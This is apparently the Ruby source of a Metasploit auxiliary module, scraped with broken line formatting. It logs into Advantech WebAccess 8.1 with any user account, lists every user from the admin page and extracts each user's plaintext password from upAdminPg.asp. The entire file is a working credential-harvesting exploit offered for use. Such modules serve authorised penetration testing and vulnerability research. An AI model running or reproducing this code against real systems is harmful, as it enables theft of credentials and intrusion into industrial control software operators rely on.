##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def
initialize(info={})
super
(update_info(info,
'Name'
=>
"Advantech WebAccess 8.1 Post Authentication Credential Collector"
,
'Description'
=> %q{
This
module
allows you to log into Advantech WebAccess
8
.
1
,
and
collect all of the credentials.
Although authentication is required, any level of user permission can exploit this vulnerability.
Note that
8
.
2
is
not
suitable
for
this.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'h00die'
,
# Pointed out the obvious during a PR review for CVE-2017-5154
'sinn3r'
,
# Metasploit module
],
'References'
=>
[
],
'DisclosureDate'
=>
"Jan 21 2017"
))
register_options(
[
OptString.
new
(
'WEBACCESSUSER'
, [
true
,
'Username for Advantech WebAccess'
,
'admin'
]),
OptString.
new
(
'WEBACCESSPASS'
, [
false
,
'Password for Advantech WebAccess'
,
''
]),
OptString.
new
(
'TARGETURI'
, [
true
,
'The base path to Advantech WebAccess'
,
'/'
]),
],
self
.
class
)
end
def
do_login
vprint_status(
"Attempting to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'"
)
uri = normalize_uri(target_uri.path,
'broadweb'
,
'user'
,
'signin.asp'
)
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=> uri,
'vars_post'
=> {
'page'
=>
'/'
,
'pos'
=>
''
,
'username'
=> datastore[
'WEBACCESSUSER'
],
'password'
=> datastore[
'WEBACCESSPASS'
],
'remMe'
=>
''
,
'submit1'
=>
'Login'
}
})
unless
res
fail_with(Failure::Unknown,
'Connection timed out while trying to login'
)
end
if
res.headers[
'Location'
] && res.headers[
'Location'
] ==
'/broadweb/bwproj.asp'
print_good(
"Logged in as #{datastore['WEBACCESSUSER']}"
)
report_cred(
user: datastore[
'WEBACCESSUSER'
],
password: datastore[
'WEBACCESSPASS'
],
status: Metasploit::Model::Login::Status::
SUCCESSFUL
)
return
res.get_cookies.scan(/(
ASPSESSIONID
\w+=\w+);/).flatten.first ||
''
end
print_error(
"Unable to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'"
)
nil
end
def
get_user_cred_detail(sid, user)
vprint_status(
"Gathering password for user: #{user}"
)
uri = normalize_uri(target_uri.path,
'broadWeb'
,
'user'
,
'upAdminPg.asp'
)
res = send_request_cgi({
'method'
=>
'GET'
,
'uri'
=> uri,
'cookie'
=> sid,
'vars_get'
=> {
'uname'
=> user
}
})
unless
res
print_error(
"Unable to gather password for user #{user} due to a connection timeout"
)
return
nil
end
html = res.get_html_document
pass_field = html.at(
'input[@name="Password"]'
)
pass_field ? pass_field.attributes[
'value'
].text :
nil
end
def
get_users_page(sid)
vprint_status(
"Checking user page..."
)
uri = normalize_uri(target_uri.path,
'broadWeb'
,
'user'
,
'AdminPg.asp'
)
res = send_request_cgi({
'method'
=>
'GET'
,
'uri'
=> uri,
'cookie'
=> sid
})
unless
res
fail_with(Failure::Unknown,
'Connection timed out while checking AdminPg.asp'
)
end
html = res.get_html_document
users = html.search(
'a'
).map { |a|
Rex::Text.uri_decode(a.attributes[
'href'
].text.scan(/broadWeb\/user\/upAdminPg\.asp\?uname=(.+)/).flatten.first ||
''
)
}.delete_if { |user| user.blank? }
users
end
def
report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name:
'webaccess'
,
protocol:
'tcp'
,
workspace_id: myworkspace_id
}
credential_data = {
origin_type:
:service
,
module_fullname: fullname,
username: opts[
:user
],
private_data: opts[
:password
],
private_type:
:password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: opts[
:status
],
proof: opts[
:proof
]
}.merge(service_data)
create_credential_login(login_data)
end
def
run
cookie = do_login
users = get_users_page(cookie)
users.
each
do
|user|
pass = get_user_cred_detail(cookie, user)
if
pass
report_cred(
user: user,
password: pass,
status: Metasploit::Model::Login::Status::
SUCCESSFUL
,
proof:
'AdminPg.asp'
)
print_good(
"Found password: #{user}:#{pass}"
)
end
end
end
end